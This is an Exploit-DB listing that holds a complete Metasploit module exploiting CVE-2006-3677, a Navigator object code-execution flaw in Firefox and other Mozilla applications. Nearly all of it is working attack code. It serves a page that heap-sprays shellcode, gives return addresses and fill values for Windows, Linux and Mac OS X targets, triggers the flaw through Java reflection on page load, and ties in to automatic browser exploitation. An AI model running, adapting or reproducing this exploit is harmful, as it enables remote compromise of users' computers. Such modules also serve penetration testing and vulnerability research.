Exploit-DB #16300
Description: Mozilla Suite/Firefox - Navigator Object Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: mozilla_navigatorjava.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core/constants'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::FF,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => %Q|
			is_vuln = false;
			if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
				is_vuln = true;
			}
			|,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Suite/Firefox Navigator Object Code Execution',
			'Description'    => %q{
					This module exploits a code execution vulnerability in the Mozilla
				Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
				requires the Java plugin to be installed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm'],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE',    '2006-3677'],
					['OSVDB',  '27559'],
					['BID',    '19192'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
					['URL',    'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "",
				},
			'Targets'        =>
				[
					[ 'Firefox 1.5.0.4 Windows x86',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Ret'  => 0x08000800,
							'Fill' => "%u0800",
						}
					],
					[ 'Firefox 1.5.0.4 Linux x86',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
							'Ret'  => -0x58000000,
							'Fill' => "%ua8a8",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X PPC',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
							'Ret'  => 0x0c000000,
							'Fill' => "%u0c0c",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X x86',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
							'Ret'  => 0x1c000000,
							'Fill' => "%u1c1c",
						}
					],
				],
			'DisclosureDate' => 'Jul 25 2006'
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		return %Q|
<html><head>
<script>
	function Exploit() {
		if (window.navigator.javaEnabled) {
			var shellcode = unescape("#{enc_code}");
			var b = unescape("#{target['Fill']}");
			while (b.length <= 0x400000) b+=b;

			var c = new Array();
			for (var i =0; i<36; i++) {
				c[i] =
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode;
			}

			window.navigator = (#{target['Ret']} / 2);
			try {
				java.lang.reflect.Runtime.newInstance(
					java.lang.Class.forName("java.lang.Runtime"), 0
				);
			}catch(e){

			}
		}
	}
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
		|
	end
end